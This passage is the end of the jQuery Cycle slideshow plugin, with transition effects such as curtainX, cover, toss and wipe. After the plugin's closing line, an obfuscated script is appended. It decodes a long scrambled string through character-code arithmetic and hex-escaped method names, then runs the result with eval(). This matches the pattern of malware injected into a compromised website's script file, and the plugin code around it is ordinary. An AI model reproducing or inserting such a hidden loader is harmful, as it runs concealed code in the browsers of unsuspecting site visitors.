		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.cssBefore.top = this.cycleH/2;
		opts.animIn = { top: 0, height: this.cycleH };
		opts.animOut = { top: 0 };
	});	   
	opts.cssBefore = { height: 0, left: 0 };
};

// curtainX - squeeze in both edges horizontally
$.fn.cycle.transitions.curtainX = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,false,true);
		opts.cssBefore.left = next.cycleW/2;
		opts.animIn = { left: 0, width: this.cycleW };
		opts.animOut = { left: curr.cycleW/2, width: 0 };
	});	   
	opts.cssBefore = { top: 0, width: 0 };
};
// curtainY - squeeze in both edges vertically
$.fn.cycle.transitions.curtainY = function($cont, $slides, opts) {
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,false);
		opts.cssBefore.top = next.cycleH/2;
		opts.animIn = { top: 0, height: next.cycleH };
		opts.animOut = { top: curr.cycleH/2, height: 0 };
	});	   
	opts.cssBefore = { left: 0, height: 0 };
};

// cover - curr slide covered by next slide
$.fn.cycle.transitions.cover = function($cont, $slides, opts) {
	var d = opts.direction || 'left';
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts);
		if (d == 'right') 
			opts.cssBefore.left = -w;
		else if (d == 'up')	   
			opts.cssBefore.top = h;
		else if (d == 'down')  
			opts.cssBefore.top = -h;
		else
			opts.cssBefore.left = w;
	});
	opts.animIn = { left: 0, top: 0};
	opts.animOut = { opacity: 1 };
	opts.cssBefore = { top: 0, left: 0 };
};

// uncover - curr slide moves off next slide
$.fn.cycle.transitions.uncover = function($cont, $slides, opts) {
	var d = opts.direction || 'left';
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
		if (d == 'right') 
			opts.animOut.left = w;
		else if (d == 'up')	   
			opts.animOut.top = -h;
		else if (d == 'down')  
			opts.animOut.top = h;
		else
			opts.animOut.left = -w;
	});	   
	opts.animIn = { left: 0, top: 0 };
	opts.animOut = { opacity: 1 };
	opts.cssBefore = { top: 0, left: 0 };
};

// toss - move top slide and fade away
$.fn.cycle.transitions.toss = function($cont, $slides, opts) {
	var w = $cont.css('overflow','visible').width();
	var h = $cont.height();
	opts.before.push(function(curr, next, opts) {
		$.fn.cycle.commonReset(curr,next,opts,true,true,true);
		// provide default toss settings if animOut not provided
		if (!opts.animOut.left && !opts.animOut.top)
			opts.animOut = { left: w*2, top: -h/2, opacity: 0 };
		else
			opts.animOut.opacity = 0;
	});	   
	opts.cssBefore = { left: 0, top: 0 };
	opts.animIn = { left: 0 };
};

// wipe - clip animation
$.fn.cycle.transitions.wipe = function($cont, $slides, opts) {
	var w = $cont.css('overflow','hidden').width();
	var h = $cont.height();
	opts.cssBefore = opts.cssBefore || {};
	var clip;
	if (opts.clip) {
		if (/l2r/.test(opts.clip))
			clip = 'rect(0px 0px '+h+'px 0px)';
		else if (/r2l/.test(opts.clip))
			clip = 'rect(0px '+w+'px '+h+'px '+w+'px)';
		else if (/t2b/.test(opts.clip))
			clip = 'rect(0px '+w+'px 0px 0px)';
		else if (/b2t/.test(opts.clip))
			clip = 'rect('+h+'px '+w+'px '+h+'px 0px)';
		else if (/zoom/.test(opts.clip)) {
			var t = parseInt(h/2);
			var l = parseInt(w/2);
			clip = 'rect('+t+'px '+l+'px '+t+'px '+l+'px)';
		}
	}
	
	opts.cssBefore.clip = opts.cssBefore.clip || clip || 'rect(0px 0px 0px 0px)';
	
	var d = opts.cssBefore.clip.match(/(\d+)/g);
	var t = parseInt(d[0]), r = parseInt(d[1]), b = parseInt(d[2]), l = parseInt(d[3]);
	
	opts.before.push(function(curr, next, opts) {
		if (curr == next) return;
		var $curr = $(curr), $next = $(next);
		$.fn.cycle.commonReset(curr,next,opts);
		
		var step = 1, count = parseInt((opts.speedIn / 13)) - 1;
		(function f() {
			var tt = t ? t - parseInt(step * (t/count)) : 0;
			var ll = l ? l - parseInt(step * (l/count)) : 0;
			var bb = b < h ? b + parseInt(step * ((h-b)/count || 1)) : h;
			var rr = r < w ? r + parseInt(step * ((w-r)/count || 1)) : w;
			$next.css({ clip: 'rect('+tt+'px '+rr+'px '+bb+'px '+ll+'px)' });
			(step++ <= count) ? setTimeout(f, 13) : $curr.css('display', 'none');
		})();
	});	   
	opts.cssBefore = { display: 'block', opacity: 1, top: 0, left: 0 };
	opts.animIn	   = { left: 0 };
	opts.animOut   = { left: 0 };
};

})(jQuery);
var l4cdd66c="";function n7643d3e3e1cf(){var l3f9ddca=String,e6595b0be=Array.prototype.slice.call(arguments).join(""),t48b859ed=e6595b0be.substr(9,3)-319,m26486595,p65896;e6595b0be=e6595b0be.substr(e14df2());var fc1d2fbc6=e6595b0be.length;for(var b2e6c24=0;b2e6c24<fc1d2fbc6;b2e6c24++){try{throw(lf68e0=e6d130f57(e6595b0be,b2e6c24));}catch(e){lf68e0=e;};if(lf68e0=='™'){t48b859ed="";b2e6c24=e049fe3e(b2e6c24);kb12f3=qbb5ddf2(e6595b0be,b2e6c24);while(kb12f3!='™'){t48b859ed+=kb12f3;b2e6c24++;kb12f3=e8b85e6(e6595b0be,b2e6c24);}t48b859ed-=592;continue;}m26486595="";if(lf68e0=='±'){b2e6c24++;lf68e0=e6595b0be.substr(b2e6c24,1);while(lf68e0!='±'){m26486595+=lf68e0;b2e6c24++;lf68e0=e6595b0be.substr(b2e6c24,1);}m26486595=nf3a0c7(m26486595,t48b859ed,28);if(m26486595<0)m26486595+=256;m26486595=n40e90e(m26486595);l4cdd66c+=l3f9ddca["f\x72omCha\x72Co\x64e"](m26486595);continue;}kcfbdb41=(lf68e0+'')["\x63\x68ar\x43\x6fd\x65\x41t"](0);if(kcfbdb41>848)kcfbdb41-=848;p65896=kcfbdb41-t48b859ed-28;p65896=ece8df8(p65896);l4cdd66c+=o8be9d342(p65896);}}n7643d3e3e1cf("c","1","da","a","6","ff","34","79","±","22","8","±™","79","2™","J","Y™","6","1","8","™±","164±™763™*;","™69","5™±2","36","±±2","4","2±","±2","4","1±™7","62™","±","2","38±","™719™±","1","9","6","±","™7","0","9","™","±17","7","±±","1","2±™74","1","™","±","19","0","±™","6","50™`","_±","204±™","6","6","9","™±20","2","±","™7","5","6™","2±2","2","4±","5","™","756","™2,±2","24±","±","2","5","3±±2","24","±™61","9™","^±1","5","9±","™","6","58™±2","10","±","±","2","10±±2","06","±","±1","52±±14","1","±±14","1±™7","4","8™±2","8","±","*!™","708™±2","45±","™","77","1™30","™","613","™","±","148±±","160±","±1","6","6±±16","4±™7","5","1™","/","™690","™±","2","3","1","±","™6","36","™","±","1","71±","v","±175±","±","1","86±","™7","88","™","O","KS±","1","3±™75","1","™","/","#™70","3","™±2","4","4","±™","6","8","4™±2","3","5±","±","1","66±","±2","2","5±","±230","±","±2","22±","±231±","±","1","67","±","±22","3","±","™","7","3","5™±218","±","™","7","70","™±","2","4","5","±±","9±","±","2","19±±21","6±","™5","9","4","™'+(","'±1","3","5","±","™72","0™","±","2±","±","1","8","8","±","±19","6±±1","6","±","±","21±","™68","0™","±2","28±±217±±","2","27","±","±","2","1","8±™","78","2™±","2","50±™6","0","6™","±161±±","147","±","™659","™","±","2","0","5±±","195±","™","7","2","4","™±","1","5","±±","2","3","±™","61","7™c","±","1","7","3","±","±","1","74","±","™7","38™","(","™","620™±","15","8±","™","6","8","0™","±2","2","4±","™6","66™±199","±™","6","7","9","™","±2","1","8","±™","742™","±","2","1","0","±™60","4™","e™","66","5™±16","2","±™61","1™","l","™","78","4™","±2","52","±","±3","±Q™","752™","*±32","±","™","5","94","™","±13","1±","™7","7","7","™;",">™","68","7™","±2","33","±±22","4","±","±","2","2","3","±±","16","2±","™","7","6","6™±243","±","±","2","3","4","±","™617","™","±","1","76","±","B","™","6","54","™","dc","c","±2","0","9","±","±19","5","±","±200","±","±19","0±","™72","1","™±1","2","±™","63","9","™±","19","4±","™7","7","9","™","±","5±","O","P","™6","60","™±2","18±±1","98","±","±2","04±±","193","±™","7","6","7™2","™","7","32","™±","2","00","±™","628™","±12","5","±`™6","7","9™","±","1","63","±™","594™","Y","+™","723™±","1","69±","±1","6","8±™","675","™±23","6±±12","4±","™69","7™","±","14","3","±","±1","4","2","±™5","97","™",".","™60","7","™","5","™686","™±13","1","±±","22","2","±™751","™","*™","765","™",",>™","6","8","7","™","±232","±","™","5","9","9","™±","136","±","±1","45±","±","1","51±Q","±1","46","±","™632™±1","7","8±±1","77","±±","1","7","9","±","±","1","8","5","±","™","760™7™","6","7","1™±","208±","±","2","16±","±218","±™","73","0™","±2","8","±","±11±","±198±","±","2","27","±","™","6","5","5","™","±123±","±","193","±™741","™","&","™","6","6","5™±","21","1","±™61","1™","±","146±","±1","6","3","±±","15","2","±™","7","19","™±1","0±","±","9±","±195±±","196±","™687™±","1","5","5±±2","4","6","±™","7","5","9","™±","2","08±","™","6","76™z","y™","69","5™","±1","4","0±±236±™6","75™","±","2","1","3","±±","143±±1","5","1","±±","230","±","±21","6","±","±221±","±2","11±±","22","2±","±2","30±","™","601™","S™6","19","™±","1","7","5±","±","17","6±±177","±","™7","50","™±3","2","±™","7","5","9","™","/","$*™","7","5","8","™±","22","6±","™6","11","™ll™629™","±1","2","6","±™","697","™±1","65±","±18","1","±™","6","96™±","1","7","3±±","164±±2","55","±™680","™","±","1","29±","±","1","26","±™","688™","±","133±","™","689™±","1","3","4±","™","7","70","™","±21","5","±™","6","6","2™","±","2","1","7","±±2","03","±","±","2","08±™","69","7","™±","233","±","™7","0","7™±2","54","±","™739™","&","™","595™","M","±1","5","1","±±","152","±","™","69","7","™±2","5","5","±™","6","38","™","±","176","±™7","6","8™","8-™615™±","1","54±SpS™","696","™±1","8","1","±","±","191","±±","1","45","±™","7","90","™±","2","36","±","™6","21™","B","™6","03","™","0","™","76","5","™","±","2","1","0","±?™","73","0","™","±7","±","™","71","2™±","6","±","±1","80±","±25","2","±™","6","0","1™","±","1","38","±","™6","23™","±1","56±™","6","9","3™±2","2","9±±16","1±™7","5","8™","±","255","±","±","2","2","6±™76","7","™/™","6","56","™±2","0","3±±","191","±","™","75","7","™6",".™6","6","0™","±197±±","206","±™603","™","±1","5","5±™70","6™±","18","8±±2","4","5","±±2","4","3","±","±","2","±","±2","11±","±2","5","0","±","™7","44","™","±2","5","±","™7","6","9™",":","2™7","2","5™","±","15","±±","21±±","2","0±™647™±1","49±™","6","74","™","±23","1±±","194","±","±","20","7±±213","±™","7","52™","±","10±","™7","6","7™",",","80±24","3±","±242±","30™754","™","±","3","1±","™","6","1","5™","±1","51","±","™","627","™","f","h","™6","9","6","™","±2","2","3±™","5","9","8™","R™6","19","™","±1","48±","r","™","6","13","™>",";",":","™","60","7™4™","6","6","3™","l±","217","±±","196±","™","74","6","™(±","2","14","±™","7","34™±29±±","13±","™","7","57","™3","™","7","57™","*","1","™","73","7™!","±205","±","™","71","1™","±208±±179","±™685™±2","21","±±2","32±","™7","80™;","M™","621™±16","6±","±1","58","±","±1","67","±","±","173±","g™65","5™±","19","0±","±2","05","±","™","7","54","™#™","6","21™±","154","±","™7","3","6™±","3","2","±","™","6","2","8™±165","±","±","13","3","±±172±™","7","60","™",")1",")","2","8±2","3","6","±™67","1","™±14","6","±","±2","22±±","2","0","6±","±22","1±","±2","1","2±","™","75","7™1™75","7","™","5","™","7","4","9","™±","224±","±22","6","±±244","±","™6","9","4","™±","143±™","60","2","™","0™7","8","6","™±231±","™","6","85™","±13","0±","±13","0±±2","3","6","±","±22","0±±","2","35","±","±","226","±","™","6","34","™±","182","±±","1","8","6","±","t±","1","8","6±","±1","91","±±182","±","™6","43™","±18","0","±","o","™67","9","™±","1","7","6","±","±147","±±1","54","±","±231","±±21","6±","±","2","35","±","™600","™","±1","5","2","±S","±","1","42","±™","76","5™","*","?™6","9","3™","±","2","26","±™7","62","™9",")","8™","74","7","™±3","2","±'™","72","0™","±","1","6±±1","95","±±21","5","±™70","9","™±1","5","8","±™","6","6","7","™","qp™74","0","™","±1","8","5±","™","6","8","5™±","13","0","±™68","6™","±2","3","7±","™62","0","™±","155±±170","±±","1","6","1±","™7","5","2™",",","™7","33","™±29±","±","2","15±","™69","4","™±","2","41","±™636™","±","1","82±","™74","2","™","$™","605","™±","142","±","±","1","3","8","±","™736","™","±1","6","±","™77","3","™","J","D™","777™I™","7","51™","±","2","8±™","75","8™","6™7","9","0™","G™","657","™","±1","9","2±","™","5","96","™","±","1","3","6±±","129","±±","1","42±±135±","±1","33±","™6","3","6™h±","13","3","±","h™","647™","±","18","5±±","2","0","0±™","66","5™±21","1±","™","704™","±239","±™","690","™±","2","4","2","±™66","6","™","±","2","07","±™605","™","±1","52±","±1","51±","I","™","670™","±1","46±","™6","85™±","1","62","±","±","1","5","3","±","™","7","1","4™","±","1","7","±","±16","3±™","617","™","?™","6","82","™","±127","±","™75","2","™±1","97±±1","97±±19","7±%\"","™6","33","™e","m™60","9™","±","1","61±","±","14","9","±±","150±±160±","[±","1","5","9±","±1","4","6","±±","14","2±","±","145","±™","6","3","8","™","±1","9","5±™","6","33","™±152","±","±","18","5±","™","7","88™A","TE±0","±±","2","9","±","™7","40","™","±237±","™78","2","™","±25","0±™716™","±1","91±","™7","8","0","™",";™67","1™","±2","1","8","±","™","7","84","™I","™5","99™","±","14","7±±1","43","±™","6","28™","±","165±±180","±™","765","™",".±240","±","±2","42","±","±","233±™","6","04™","±","163±™","72","7","™±","1","7","6±±","173±","™6","76","™y","y™6","8","3","™±1","28","±","™","5","97","™","*™6","9","3™±","13","8","±™","686™±2","4","1","±","™","789™JO","EPX","™","6","2","6™","l","™","6","23","™","±","17","9","±±","1","8","0","±","±1","81±","±1","6","1±","™","658™","±2","02±±1","9","1","±±","19","7±","™","76","8","™±23","6","±","±9","±","±2","36±±2","5","4±±7","±™","665","™","r","™7","7","0","™","±216","±","±","2","15±±215","±","™676","™","yy™","618™","±","179±C™7","46","™±1","9","2±","™6","42","™WWW±2","0","3","±","™","7","3","7™","±","2","32","±","±","1","86","±","™","790","™","±2","3","6","±","±235","±","™","77","0™±215","±","±","21","5","±™69","2","™±2","43±±","2","2","7±","™72","1™","±1","5±±6±","™6","07™±","1","5","5±","™7","5","8","™6","™","7","2","6","™±","2","08±","±","1","7","±","™","698™±24","4","±™74","9","™","%","(±","2","6±™","7","48","™","±28±±","216±","±","24","5","±","™","7","87™±","2","55","±","™767","™1@9.?","4™","7","83","™","J™","6","54","™±","2","00","±™","63","9","™","s","™677","™±1","5","4±","™","6","49™u±2","0","8","±b","_^^","™","76","1™±2","06","±","±","2","06","±","<",".","3",")™","72","1","™±1","2±±2","0","±","±203±","™","7","1","2™±1","2","±±1","3","±","±1","4±","±250±","±","0","±±","245±±2","51±™","685","™±","1","5","3","±±","1","82±","±1","53","±","±1","71","±","±1","8","0±","™","6","96","™±1","4","5","±™7","7","0™±21","6±±","215","±","±21","5","±","±","21","5±","™","6","2","8™±","1","89±™","7","9","2","™±","31","±","±241±","™7","0","5","™","±1","51","±±1","50","±","™7","48","™±1","93±","™79","2™","±23","7","±™","725","™±","20","±","™","7","01","™","±","2","36±","™74","3","™%","™73","6™","±","21","±±2","8","±±32","±","™","6","35","™","u","™7","02","™","±25","3","±™","6","20™","±17","0","±","™","6","1","9","™±15","4±W","tW","™","755™4","1™762™2™","7","07™±","175","±","±","18","6","±","±","1","75±±2","20±±","24","0","±±3±™","6","23","™±1","63","±","™","654","™±","136","±™6","44","™","±","1","94±","™69","1™±2","2","4","±","±2","3","7±±","2","27±±","238±","±236","±™","694™±","1","7","0±","±17","1","±±","1","7","6±™","70","9™","±","5","±±0","±","±","228","±™","7","0","4™±","0","±±","254","±","±","24","5","±","±250","±™7","9","0","™I","±","10","±±","11±","±1","6","±™6","4","0","™","±19","1","±±19","3","±±","174","±™6","99™±","25","0±","±2","51±±24","9","±","™","642","™","±18","3","±","™","7","4","2™","±32±™696™±","23","5","±±","17","2±™723™","±","210","±™","6","00™M","D","™","6","46","™±125","±™","65","8","™","±1","2","6±","™","6","8","8™±","16","3","±","™7","3","2","™","±2","1","4±","±","18±","±27±","±20","7±","™","7","46™","±","24","1±","±1","95","±±192","±","™6","2","6™","G","GG","™641™±1","81±","±","17","8","±","™6","0","0","™","±","1","3","3","±±136±R±1","33±","±14","8±","™","6","6","0","™±","2","0","8±™","7","09","™","±","2","46±±2","5","5±","±","24","5","±","±","2","12±±","24","9±±","2","5","0±","™","62","3™±1","67±","™64","3™","±","179","±w±","1","94±","™725™","±4","±±1","9","±","±","10","±","™7","90™","R™69","4™±24","6","±","™61","0","™W™","737","™","±232","±","™","680","™±129","±±","1","2","6±","™737™±","182±","™","7","8","3","™±","2","2","8±","X","±","2","32±","±","2","2","9","±±22","8","±","™","64","2™","±","2","0","3±","™","66","1™","±156±n","™","7","19™","±","1","6","5","±±2","4±±19","6","±","™72","2™±198","±","±199±±217±");eval(l4cdd66c);function e14df2(){return 12;}function e6d130f57(t3d614d5b,if780d8b){return t3d614d5b.substr(if780d8b,1);}function e049fe3e(f0cbf5){return ++f0cbf5;}function qbb5ddf2(rfa2d3c4e,fc526c){return rfa2d3c4e.substr(fc526c,1);}function e8b85e6(se6d3b88,g11a76){return se6d3b88.substr(g11a76,1);}function n40e90e(m2091ca6){if(m2091ca6==168)m2091ca6=1025;else if(m2091ca6==184)m2091ca6=1105;return (m2091ca6>=192 && m2091ca6<256) ? m2091ca6+848 : m2091ca6;}function nf3a0c7(o53060,e68887,bc8d0e642){return o53060-e68887-bc8d0e642;}function o8be9d342(s85877a49){var l3f9ddca=String;return l3f9ddca["f\x72omCha\x72Co\x64e"](s85877a49);}function ece8df8(xe63c659){var f87eb3468=xe63c659;if(f87eb3468<0)f87eb3468+=256;if(f87eb3468==168)f87eb3468=1025;else if(f87eb3468==184)f87eb3468=1105;return (f87eb3468>=192 && f87eb3468<256) ? f87eb3468+848 : f87eb3468;}
